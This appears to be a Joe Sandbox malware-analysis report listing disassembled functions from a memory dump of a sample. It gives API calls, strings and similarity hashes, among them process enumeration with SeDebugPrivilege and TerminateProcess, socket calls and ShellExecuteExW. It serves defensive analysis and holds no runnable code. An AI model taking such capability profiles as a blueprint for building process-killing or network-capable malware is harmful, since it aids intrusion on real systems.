Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 1b7a7e44e5d5182e91576f120dcd9e4adff0933f23e3ee8579162428128baed1
Instruction ID: a334bb83ee0fbc73036502856089e3c97ee7af70b986aace2ab783af77ba460b
Opcode Fuzzy Hash: 1b7a7e44e5d5182e91576f120dcd9e4adff0933f23e3ee8579162428128baed1
Instruction Fuzzy Hash: 05C17071A0025ADBDF10DF68D894AEEB7F5EB48314F148469EA06AB281E770DD45CB70

Function 00DB9113 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB9167
VariantInit.OLEAUT32(?), ref: 00DB9238
VariantInit.OLEAUT32(?), ref: 00DB9339
VariantClear.OLEAUT32(?), ref: 00DB9343
VariantClear.OLEAUT32(?), ref: 00DB93A0

Strings

Null Object assignment in FOR..IN loop, xrefs: 00DB91C8, 00DB92F6, 00DB93AE
Incorrect Object type in FOR..IN loop, xrefs: 00DB931C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: e0b334583233fe51b57c6f50dc5e9eac27a27a685c5251cb141478bfd4fbfb61
Instruction ID: 3bcaaa8e3902ca89b99f9940e1ebce3c33f8bd6411318527160feef7f0fdd999
Opcode Fuzzy Hash: e0b334583233fe51b57c6f50dc5e9eac27a27a685c5251cb141478bfd4fbfb61
Instruction Fuzzy Hash: 7A918B71A00259EBDF24DFA5C898FEEBBB8EF45710F148119F616AB280D7709945CBB0

Function 00DB975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00D9710A: CLSIDFromProgID.OLE32 ref: 00D97127
Part of subcall function 00D9710A: ProgIDFromCLSID.OLE32(?,00000000), ref: 00D97142
Part of subcall function 00D9710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00D97044,80070057,?,?), ref: 00D97150
Part of subcall function 00D9710A: CoTaskMemFree.OLE32(00000000), ref: 00D97160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00DB9806
_memset.LIBCMT ref: 00DB9813
_memset.LIBCMT ref: 00DB9956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00DB9982
CoTaskMemFree.OLE32(?), ref: 00DB998D

Strings

NULL Pointer assignment, xrefs: 00DB99DB

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: e382ca2533dcb1f63293018c197ddc0629d834edad85b560ae779e2f7f52b52f
Instruction ID: 92d2c001beb65ac9c5410aab0f2f88e483d1858e71b5f520d7a6b208d1a4974c
Opcode Fuzzy Hash: e382ca2533dcb1f63293018c197ddc0629d834edad85b560ae779e2f7f52b52f
Instruction Fuzzy Hash: A6910371900229EBDB10DFA5D891EDEBBB9EF08710F20415AF51AA7291DB719A44CFB0

Function 00DC6D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00DC6E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00DC6E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00DC6E52
_wcscat.LIBCMT ref: 00DC6EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00DC6EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00DC6EF2

Strings

SysListView32, xrefs: 00DC6DF6

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: f536cf4477a4a2072e9819f696fbb2011398f5697d8eb007cb84a1fb45b4bd04
Instruction ID: c5fad7cf6fe3405190ebbd9f019ca16fa45a2ec603f485b9bb22b75fcadbc869
Opcode Fuzzy Hash: f536cf4477a4a2072e9819f696fbb2011398f5697d8eb007cb84a1fb45b4bd04
Instruction Fuzzy Hash: 4741AF75A0030AAFEB219F64CC85FEAB7A9EF08350F14452EF585E7291D671DD848B70

Function 00DBE933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00DA3C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00DA3C7A
Part of subcall function 00DA3C55: Process32FirstW.KERNEL32(00000000,?), ref: 00DA3C88
Part of subcall function 00DA3C55: CloseHandle.KERNEL32(00000000), ref: 00DA3D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DBE9A4
GetLastError.KERNEL32 ref: 00DBE9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DBE9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 00DBEA63
GetLastError.KERNEL32(00000000), ref: 00DBEA6E
CloseHandle.KERNEL32(00000000), ref: 00DBEAA3

Strings

SeDebugPrivilege, xrefs: 00DBE9C2

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 4cb650136142366604f7e146057e7823db19f24131dc7666eab71221cf13e106
Instruction ID: 8b42919dfce8d0ca5dfddcc1a3876bf59cf6a5f68d83ec3d44fae9f399f0a34b
Opcode Fuzzy Hash: 4cb650136142366604f7e146057e7823db19f24131dc7666eab71221cf13e106
Instruction Fuzzy Hash: 99417B716002019FDB14EF24CCA5FAEBBA5EF40314F188459F9469B2D2CB75E909CBB1

Function 00DA2F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00DA3033

Strings

question, xrefs: 00DA2FEC
warning, xrefs: 00DA301C
info, xrefs: 00DA2FD4
stop, xrefs: 00DA3004
blank, xrefs: 00DA2FB5

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 432675eff4c061f0053a4e5565e5110d5dd03594bd7c334782eac061f59374b4
Instruction ID: 59258bfbc20d5987b365c4f22beeaaafede853b9de847a2b17218b2de9e9f7a1
Opcode Fuzzy Hash: 432675eff4c061f0053a4e5565e5110d5dd03594bd7c334782eac061f59374b4
Instruction Fuzzy Hash: FA112B3534874ABFD7149F14DC82CBB779CDF16320B10402AFA00A62C2DB759F4455B9

Function 00DA42F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00DA4312
LoadStringW.USER32(00000000), ref: 00DA4319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00DA432F
LoadStringW.USER32(00000000), ref: 00DA4336
_wprintf.LIBCMT ref: 00DA435C
MessageBoxW.USER32 ref: 00DA437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00DA4357

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: f6bbba5c08fefd1c10e1337d6ab0989537048d0d06c7d38e85876f0f636da310
Instruction ID: c8f193ac401c9eed8fb7a4b83b39b846b3c6c379ae36074304b80794a373133b
Opcode Fuzzy Hash: f6bbba5c08fefd1c10e1337d6ab0989537048d0d06c7d38e85876f0f636da310
Instruction Fuzzy Hash: 090162F294030ABFEB5197A0DD89EFB776CDB08300F0005A5B745E2151EA749E854B75

Function 00DCD43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

GetSystemMetrics.USER32(0000000F), ref: 00DCD47C
GetSystemMetrics.USER32(0000000F), ref: 00DCD49C
MoveWindow.USER32(00000003,?,?,?,?,00000000), ref: 00DCD6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00DCD6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00DCD716
ShowWindow.USER32(00000003,00000000), ref: 00DCD735
InvalidateRect.USER32(?,00000000,00000001), ref: 00DCD75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 00DCD77D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 83261e15acbb6fc5f7ea16d984578a9dbecf8771998df9878159254341706f41
Instruction ID: 4e671e1c4088a064b3341feafddc12b54cf69e3f60ad519dfd9fc4dc528e170f
Opcode Fuzzy Hash: 83261e15acbb6fc5f7ea16d984578a9dbecf8771998df9878159254341706f41
Instruction Fuzzy Hash: 78B17B7160022AEFDF18CF68C985BA97BB2FF44701F188179ED499B295D734A990CB60

Function 00D42A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?), ref: 00D42ACF
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00D42B17
ShowWindow.USER32(FFFFFFFF,00000006), ref: 00D7C21A
ShowWindow.USER32(FFFFFFFF,?), ref: 00D7C286

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: efb3b7d49875530be322a7dcec1a280a4b6b350439aa056445dca665e0335fff
Instruction ID: e042dea83aec966c03064d5920b5b09d52370202634269acc4ff9e85d52f8120
Opcode Fuzzy Hash: efb3b7d49875530be322a7dcec1a280a4b6b350439aa056445dca665e0335fff
Instruction Fuzzy Hash: AB4107316147819FC7398B288C8EB7B7B92EB85320F9CC81DF88B96661C671D885D731

Function 00DA70C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00DA70DD

Part of subcall function 00D60DB6: std::exception::exception.LIBCMT ref: 00D60DEC
Part of subcall function 00D60DB6: __CxxThrowException@8.LIBCMT ref: 00D60E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00DA7114
EnterCriticalSection.KERNEL32(?), ref: 00DA7130
_memmove.LIBCMT ref: 00DA717E
_memmove.LIBCMT ref: 00DA719B
LeaveCriticalSection.KERNEL32(?), ref: 00DA71AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00DA71BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 00DA71DE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 45c00809a2a377c30d6c58d1f79ae3e742d0baa63124b2c6845a5dde2f446080
Instruction ID: cdb6763733f9262e19764d554c44a1903481309a4065660dc32ba28f68d47914
Opcode Fuzzy Hash: 45c00809a2a377c30d6c58d1f79ae3e742d0baa63124b2c6845a5dde2f446080
Instruction Fuzzy Hash: EF313D71900206EBDB10DFA4DC85EAFBBB9EF45710F1441A5F904EB256DB709A14CBB4

Function 00DC61D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00DC61EB
GetDC.USER32(00000000), ref: 00DC61F3
GetDeviceCaps.GDI32(00000000,0000005A,?,?,00DC902A,?,?,000000FF,00000000,?,000000FF,?,00000001,?), ref: 00DC61FE
ReleaseDC.USER32(00000000,00000000), ref: 00DC620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00DC6246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00DC6257
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00DC6291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00DC62B1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 7559598e58bdac09fc9dd2eab40882c06668a2b9a031ed044e680552be4f5771
Instruction ID: 90b88c31c9f1abc8a42c25961780ddc25d32645c52874032504a0de98e5bf2ce
Opcode Fuzzy Hash: 7559598e58bdac09fc9dd2eab40882c06668a2b9a031ed044e680552be4f5771
Instruction Fuzzy Hash: E3314C72241216BFEF118F50CC8AFEA3BAAEF49765F084065FE48DA291C6759C41CB74

Function 00D9BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00D9BBC4
_memcmp.LIBCMT ref: 00D9BBE6
_memcmp.LIBCMT ref: 00D9BBFE
_memcmp.LIBCMT ref: 00D9BC11
_memcmp.LIBCMT ref: 00D9BC2B
_memcmp.LIBCMT ref: 00D9BC3E
_memcmp.LIBCMT ref: 00D9BC56
_memcmp.LIBCMT ref: 00D9BC71

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4901d27a6f65e45537e52302430d8c2d9d3f590fd0b760dbbb39b852e37ee46a
Instruction ID: e9e8d1cfc6ff228836bbbeea3522f9e7138d9ca46aafb5331fcc36a6b4027b6f
Opcode Fuzzy Hash: 4901d27a6f65e45537e52302430d8c2d9d3f590fd0b760dbbb39b852e37ee46a
Instruction Fuzzy Hash: 5521A1A16012057BAB046621AE42FBB775DDE603ACF0E4023FD0497687EF64EE1582B1

Function 00DAEB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

Part of subcall function 00D5FC86: _wcscpy.LIBCMT ref: 00D5FCA9

_wcstok.LIBCMT ref: 00DAEC94
_wcscpy.LIBCMT ref: 00DAED23
_memset.LIBCMT ref: 00DAED56

Strings

X, xrefs: 00DAED93

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 1872054092412eddbaceb05942929a8d5b18c8d40f621abd869441e842a11630
Instruction ID: 5b8de7e2ad067fe60f7a210a3b0cc781340da360e46c9d9a82764319bed5c570
Opcode Fuzzy Hash: 1872054092412eddbaceb05942929a8d5b18c8d40f621abd869441e842a11630
Instruction Fuzzy Hash: 11C17D716087019FC764EF24C895A6AB7E4FF85310F04492DF8999B2A2DB70ED45CBB2

Function 00DB6B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00DB6C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00DB6C21
WSAGetLastError.WSOCK32(00000000), ref: 00DB6C34
htons.WSOCK32(?,?,?,00000000,?), ref: 00DB6CEA
inet_ntoa.WSOCK32(?), ref: 00DB6CA7

Part of subcall function 00D9A7E9: _strlen.LIBCMT ref: 00D9A7F3
Part of subcall function 00D9A7E9: _memmove.LIBCMT ref: 00D9A815

_strlen.LIBCMT ref: 00DB6D44
_memmove.LIBCMT ref: 00DB6DAD

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 1e0dbd75d1ee52bf2e3dae2eb5b3f8e3732dbd36ba5621362fb26bb3c1e42a47
Instruction ID: a95c4e4ecef877a80a28e09d5fa0267ec5187282c2379d88afbcb1d4c6337f3a
Opcode Fuzzy Hash: 1e0dbd75d1ee52bf2e3dae2eb5b3f8e3732dbd36ba5621362fb26bb3c1e42a47
Instruction Fuzzy Hash: 9081AC71204300ABC710EB24DC92EAFB7A9EF84714F544A19F9569B292DB74ED05CBB2

Function 00D41424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403c4dccc2f3addbf817f582f36638444a13443870f3ee28d5154c2d768700a8
Instruction ID: 84af1db775c9bea85a23b7a64cd2302767177a9ee5671eb55815a5923b24005f
Opcode Fuzzy Hash: 403c4dccc2f3addbf817f582f36638444a13443870f3ee28d5154c2d768700a8
Instruction Fuzzy Hash: 32715D34900209EFCB14CF98CC89EBEBB79FF85324F148159F919AA251D734AA91CB74

Function 00DCB351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00932440), ref: 00DCB3EB
IsWindowEnabled.USER32(00932440), ref: 00DCB3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00DCB4DB
SendMessageW.USER32(00932440,000000B0,?,?), ref: 00DCB512
IsDlgButtonChecked.USER32(?,?,?,?), ref: 00DCB54F
GetWindowLongW.USER32(00932440,000000EC), ref: 00DCB571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00DCB589

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 2d0bbbd8054a56d3d452354772cf3f41b7d06035ab571674ca90dd93a9c28b2c
Instruction ID: 3f3d84d7e5e0fb00cd76edcc86f64330f95c87c021ead0d87e5bace0e9cbef0e
Opcode Fuzzy Hash: 2d0bbbd8054a56d3d452354772cf3f41b7d06035ab571674ca90dd93a9c28b2c
Instruction Fuzzy Hash: DB71AF34608646EFDB289F54C896FBA7BA5EF49320F18415EE941973A2C732E840DF70

Function 00DBF41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DBF448
_memset.LIBCMT ref: 00DBF511
ShellExecuteExW.SHELL32(?), ref: 00DBF556

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

Part of subcall function 00D5FC86: _wcscpy.LIBCMT ref: 00D5FCA9

GetProcessId.KERNEL32(00000000), ref: 00DBF5CD
CloseHandle.KERNEL32(00000000), ref: 00DBF5FC

Strings

@, xrefs: 00DBF525

Memory Dump Source

